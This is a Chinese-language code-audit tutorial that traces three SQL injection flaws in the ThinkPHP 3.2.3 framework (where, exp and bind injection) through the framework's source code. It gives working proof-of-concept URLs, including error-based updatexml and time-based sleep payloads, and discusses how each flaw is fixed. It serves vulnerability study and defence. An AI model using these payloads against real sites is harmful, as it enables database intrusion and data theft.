从thinkphp教你学会sql注入代码审计(全)

从thinkphp教你学会sql注入代码审计(全)

where注入

环境搭建

去下载3.2.3的源码,然后去配置数据库

/* 数据库设置 */
'DB_TYPE'                => 'mysql', // 数据库类型
'DB_HOST'                => 'localhost', // 服务器地址
'DB_NAME'                => 'thinkphp', // 数据库名
'DB_USER'                => 'root', // 用户名
'DB_PWD'                 => 'root', // 密码
'DB_PORT'                => '3306', // 端口

然后访问 http://php.local/thinkphp3.2.3/ 会自动生成模块,当前目录结构

Application/Home/Controller/IndexController.class.php

public function index()
{
$data = M('users')->find(I('GET.id'));
var_dump($data);
}

数据库设置

调试分析

我们先使用最常规的1'来测试

发现直接是返回了我们的第一条数据???为什么不报错,我们跟踪一波代码

$data = M('users')->find(I('GET.id'));

在这下断点,先执行I方法,我们看到I方法
首先就是解析我们的输入


以点分割,判断我们是哪种请求,然后给我们input赋值,也就是我们的输入

然后获取我们的filter

$filters = isset($filter) ? $filter : C('DEFAULT_FILTER');

获取的是默认的filter,全局搜索发现默认的过滤方法是 htmlspecialchars,对输入进行了过滤

is_array($data) && array_walk_recursive($data, 'think_filter');

然后调用我们的回调函数,我们的data作为对象,调用think_filter函数

function think_filter(&$value)
{
    // TODO 其他安全过滤

    // 过滤查询特殊字符
    if (preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i', $value)) {
        $value .= ' ';
    }
}

就是对我们的sql注入的一些过滤,现在确实不明白过滤这些的意义是什么
但是如果你学习了exp注入,获取会明白我们的原因
然后就是直接return,来到我们的find函数
先检查我们的输入是哪种类型

因为这里我们是string,所以进入下面的操作

$options= array();
$options['where']= $where;

把$options转为数组,并且给where赋值,来到

$options = $this->_parseOptions($options);

进入_parseOptions方法,看名字,解析我们的options
先为我们的一些属性赋值
然后进行字段类型的验证

if (isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) {
            // 对数组查询条件进行字段类型检查
            foreach ($options['where'] as $key => $val) {
                $key = trim($key);
                if (in_array($key, $fields, true)) {
                    if (is_scalar($val)) {
                        $this->_parseType($options['where'], $key);
                    }

符合判断进入_parseType方法

protected function _parseType(&$data, $key)
    {
        if (!isset($this->options['bind'][':' . $key]) && isset($this->fields['_type'][$key])) {
            $fieldType = strtolower($this->fields['_type'][$key]);
            if (false !== strpos($fieldType, 'enum')) {
                // 支持ENUM类型优先检测
            } elseif (false === strpos($fieldType, 'bigint') && false !== strpos($fieldType, 'int')) {
                $data[$key] = intval($data[$key]);
            } elseif (false !== strpos($fieldType, 'float') || false !== strpos($fieldType, 'double')) {
                $data[$key] = floatval($data[$key]);
            } elseif (false !== strpos($fieldType, 'bool')) {
                $data[$key] = (bool) $data[$key];
            }
        }
    }

对我们的属性进行解析,我们的where被解析为int,然后使用$data[$key] = intval($data[$key]);解析
导致我们输入的1'解析为了1
之后就是进行select查询操作了

所以利用链如下 :

id=1' -> I() -> find() -> _parseOptions() -> _parseType()->select()

分析写入poc

导致我们不能注入的原因在于我们输入的被检查type的时候解析了,但是我们要进入这个解析的前提是要经过if判断

首先第一个是我们必须满足的,因为没有where,sql语句都构造不了,然后第三个第四个是固定的,也不能改变,那只有我们的对where是不是数组来修改了,我们看看代码,为什么where变成数组了

关键在

public function find($options = array())
    {
        if (is_numeric($options) || is_string($options)) {
            $where[$this->getPk()] = $options;
            $options               = array();
            $options['where']      = $where;
        }

经过这些之后我们的where就变成数组了,所以我们可不可以不经过这个步骤呢?

if (is_numeric($options) || is_string($options))

我们如果直接传入id[where]=1' 发现再次到我们那个地方的时候,就已经不是一个数组了


所以就不会经过我们那个步骤

所以这就是我们where注入的原理

我们的poc

?id[where]=正常的sql语句

用得最多的是报错注入,但是由于tp开了debug模式才会有报错,所以我们可以利用时间盲注

对于漏洞修复的思考

对于这个修复,说实话我很难理解是怎么实现修复的,只能去看别人的解释,首先造成我们漏洞原因就是用户的输入被带到了危险执行的地方,在我们这里,option就是相当于用户的输入,我们可以控制,而获取我们的sql语句的时候,也是根据option来控制的,而这个修复的话,其实就是要我们理解一下
$this->options和options的区别

你可以理解为他们作用域不一样,一个是在当前对象的,一个是全局对象的

你对比原图,这样的话,我们传入的where是不能够传入到当前对象的where之中的

将$options和$this->options进行了区分,从而传入的参数无法污染到$this->options,也就无法控制sql语句了。

thinkphp 3.2.3 exp注入

环境搭建

只需要修改

<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
    public function index(){
        $id = $_GET['id'];
        //$id = I('id');//用I()方法获取参数避免该注入,原因后面解释
        $data = M('users')->where(array('id'=>$id))->find();
        var_dump($data);
    }
}

调试分析写poc

看到我们上面的代码,在data那个地方下断点

首先数组会传递给 where 我们进行一个跟进


where方法就是把我们的输入传递给$this->options['where'] , 然后直接返回了整个对象

然后来到我们的find方法,不做分析了,反正给select传入的是一个$options

$resultSet = $this->db->select($options);

我们主要关注我们的where

然后进入select方法

public function select($options = array())
    {
        $this->model = $options['model'];
        $this->parseBind(!empty($options['bind']) ? $options['bind'] : array());
        $sql    = $this->buildSelectSql($options);
        $result = $this->query($sql, !empty($options['fetch_sql']) ? true : false);
        return $result;
    }

然后会涉及到构建sql语句buildSelectSql,为什么我们要关注这个方法?因为我们可控的只有$options,我们需要把它作为我们的参数

$sql = $this->parseSql($this->selectSql, $options);

然后又会进入到parseSql

public function parseSql($sql, $options = array())
    {
        $sql = str_replace(
            array('%TABLE%', '%DISTINCT%', '%FIELD%', '%JOIN%', '%WHERE%', '%GROUP%', '%HAVING%', '%ORDER%', '%LIMIT%', '%UNION%', '%LOCK%', '%COMMENT%', '%FORCE%'),
            array(
                $this->parseTable($options['table']),
                $this->parseDistinct(isset($options['distinct']) ? $options['distinct'] : false),
empty($options['where']) ? $options['where'] : ''),

            ), $sql);
        return $sql;
    }

当然代码还解析了很多东西,我删减了,因为我们只需要关注对where的解析

这个方法我们关注最后return empty($whereStr) ? '' : ' WHERE ' . $whereStr;返回的是一个wherestr,我们只需要找和这个相关的代码

有很多判断,因为我们的where没有经过特殊的操作
进入$whereStr .= $this->parseWhereItem($this->parseKey($key), $val);

parseKey($key)就是对我们的key解析,还是id,然后传入我们的val,就是我们的where

进入我们的parseWhereItem方法

还是先看这个方法返回的是什么return $whereStr;那我们就去找相关的代码

还是我们说的那样,找自己可以控制的,这里有许多的if对我们exp进行判断

protected function parseWhereItem($key, $val)
    {
        $whereStr = '';
        if (is_array($val)) {
            if (is_string($val[0])) {
                $exp = strtolower($val[0]);
                if (preg_match('/^(eq|neq|gt|egt|lt|elt)$/', $exp)) {
                    // 比较运算
                    $whereStr .= $key . ' ' . $this->exp[$exp] . ' ' . $this->parseValue($val[1]);
                } elseif (preg_match('/^(notlike|like)$/', $exp)) {
// 模糊查找
                    if (is_array($val[1])) {
                        $likeLogic = isset($val[2]) ? strtoupper($val[2]) : 'OR';
                        if (in_array($likeLogic, array('AND', 'OR', 'XOR'))) {
                            $like = array();
                            foreach ($val[1] as $item) {
                                $like[] = $key . ' ' . $this->exp[$exp] . ' ' . $this->parseValue($item);
                            }
                            $whereStr .= '(' . implode(' ' . $likeLogic . ' ', $like) . ')';
                        }
                    } else {
                        $whereStr .= $key . ' ' . $this->exp[$exp] . ' ' . $this->parseValue($val[1]);
                    }
                } elseif ('bind' == $exp) {
                    // 使用表达式
                    $whereStr .= $key . ' = :' . $val[1];
                } elseif ('exp' == $exp) {
                    // 使用表达式
                    $whereStr .= $key . ' ' . $val[1];
                } elseif (preg_match('/^(notin|not in|in)$/', $exp)) {
                    // IN 运算
                    if (isset($val[2]) && 'exp' == $val[2]) {
                        $whereStr .= $key . ' ' . $this->exp[$exp] . ' ' . $val[1];
                    } else {
                        if (is_string($val[1])) {
                            $val[1] = explode(',', $val[1]);
                        }
                        $zone = implode(',', $this->parseValue($val[1]));
                        $whereStr .= $key . ' ' . $this->exp[$exp] . ' (' . $zone . ')';
                    }
                } elseif (preg_match('/^(notbetween|not between|between)$/', $exp)) {
                    // BETWEEN运算
                    $data = is_string($val[1]) ? explode(',', $val[1]) : $val[1];
                    $whereStr .= $key . ' ' . $this->exp[$exp] . ' ' . $this->parseValue($data[0]) . ' AND ' . $this->parseValue($data[1]);
                } else {
                    E(L('_EXPRESS_ERROR_') . ':' . $val[0]);
                }
            } else {
                $count = count($val);
                $rule  = isset($val[$count - 1]) ? (is_array($val[$count - 1]) ? strtoupper($val[$count - 1][0]) : strtoupper($val[$count - 1])) : '';
                if (in_array($rule, array('AND', 'OR', 'XOR'))) {
                    $count = $count - 1;
                } else {
                    $rule = 'AND';
                }
                for ($i = 0; $i < $count; $i++) {
                    $data = is_array($val[$i]) ? $val[$i][1] : $val[$i];
                    if ('exp' == strtolower($val[$i][0])) {
                        $whereStr .= $key . ' ' . $data . ' ' . $rule . ' ';
                    } else {
                        $whereStr .= $this->parseWhereItem($key, $val[$i]) . ' ' . $rule . ' ';
                    }
                }
                $whereStr = '( ' . substr($whereStr, 0, -4) . ' )';
            }
        } else {
            //对字符串类型字段采用模糊匹配
            $likeFields = $this->config['db_like_fields'];
            if ($likeFields && preg_match('/^(' . $likeFields . ')$/i', $key)) {
                $whereStr .= $key . ' LIKE ' . $this->parseValue('%' . $val . '%');
            } else {
                $whereStr .= $key . ' = ' . $this->parseValue($val);
            }
        }
        return $whereStr;
    }

而exp是我们的val0是可以控制的,那我们找一下有没有可以控制返回的str的地方

lseif ('exp' == $exp) {
                    // 使用表达式
                    $whereStr .= $key . ' ' . $val[1];

只有两个变量,其中$val[1]可以控制
我们现在了解一下这个str是干嘛的,发现就是我们的sql语句的一部分
那不就是可以控制sql语句了吗

所以我们的poc为

?id[0]=exp&id[1]==1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)

同样的如果没有开启debug模式也可以用时间盲注

?id[0]=exp&id[1]== and (select 1 from(select sleep(2))x)

注意有两个等号,需要自己拼接一个

对于漏洞修复的思考

我们回忆一下,这个漏洞关键是我们exp可控,导致我们在build我们sql语句的时候,可以根据对exp的控制,满足我们的if条件控制我们的sql语句,当然我们看到还有许许多多的解析,那他们能利用吗?
答案是很难,因为我们观察sql语句的时候发现sql语句其实主要就是取决于我们的where内容
而exp是控制我们where的主要因素,所以才会找到它

修复的话,使用I函数就好了,因为在I函数中,会对输入有一个这样的过滤

直接把我们的exp过滤了

bind注入

环境搭建

<?php
namespace Home\Controller;

use Think\Controller;

class IndexController extends Controller {
    public function index(){
        $User = M('users');
        $user['id'] = I('id');
        $data['age'] = I('age');
        $value = $User->where($user)->save($data);
        var_dump($value);
    }
}

调试分析写出poc

上面的分析给我们这次解析引来了思路
我们不妨思考一下,漏洞其实是出现在我们sql语句的构造过程,我们回到拼接where的地方

其实这个语句也是很像能够控制的,但是它中间多出来的:0很难受

下面慢慢分析

我们已经知道了出口,关键是怎么控制我们的输入,能够达到我们控制bind

where方法就是进行一个值的传递$this->options['where'] = $where;对我们的option赋值
但是还是为null
然后进入save方法,它和其他方法一样的,还是会解析我们的options,通过_parseOptions方法对我们的

$options = array_merge($this->options, $options);

成功赋值

还是一样的,我们这个函数返回的是result,我们就找哪里赋值的

$result = $this->db->update($data, $options);

跟进update方法

public function update($data, $options)
    {
        $this->model = $options['model'];
        $this->parseBind(!empty($options['bind']) ? $options['bind'] : array());
        $table = $this->parseTable($options['table']);
        $sql   = 'UPDATE ' . $table . $this->parseSet($data);
        if (strpos($table, ',')) {
// 多表更新支持JOIN操作
            $sql .= $this->parseJoin(!empty($options['join']) ? $options['join'] : '');
        }
        $sql .= $this->parseWhere(!empty($options['where']) ? $options['where'] : '');
        if (!strpos($table, ',')) {
            //  单表更新支持order和lmit
            $sql .= $this->parseOrder(!empty($options['order']) ? $options['order'] : '')
                . $this->parseLimit(!empty($options['limit']) ? $options['limit'] : '');
        }
        $sql .= $this->parseComment(!empty($options['comment']) ? $options['comment'] : '');
        return $this->execute($sql, !empty($options['fetch_sql']) ? true : false);
    }

可以看到我们的parseWhere方法,这里就不说了,上面分析了,还是这个问题得到的语句是

UPDATE `users` SET `age`=:0 WHERE `id` = :0 and (updatexml(1,concat(0x7e,user(),0x7e),1))

这个:0是怎么除掉的
关键是在我们的return $this->execute($sql, !empty($options['fetch_sql']) ? true : false);
内部会对我们的sql语句进行一个str替换,为什么要替换我也没有明白

就导致了sql注入

修复

这个修复就很简单了,在I加一个bind就好了

0 条评论
某人
表情
可输入 255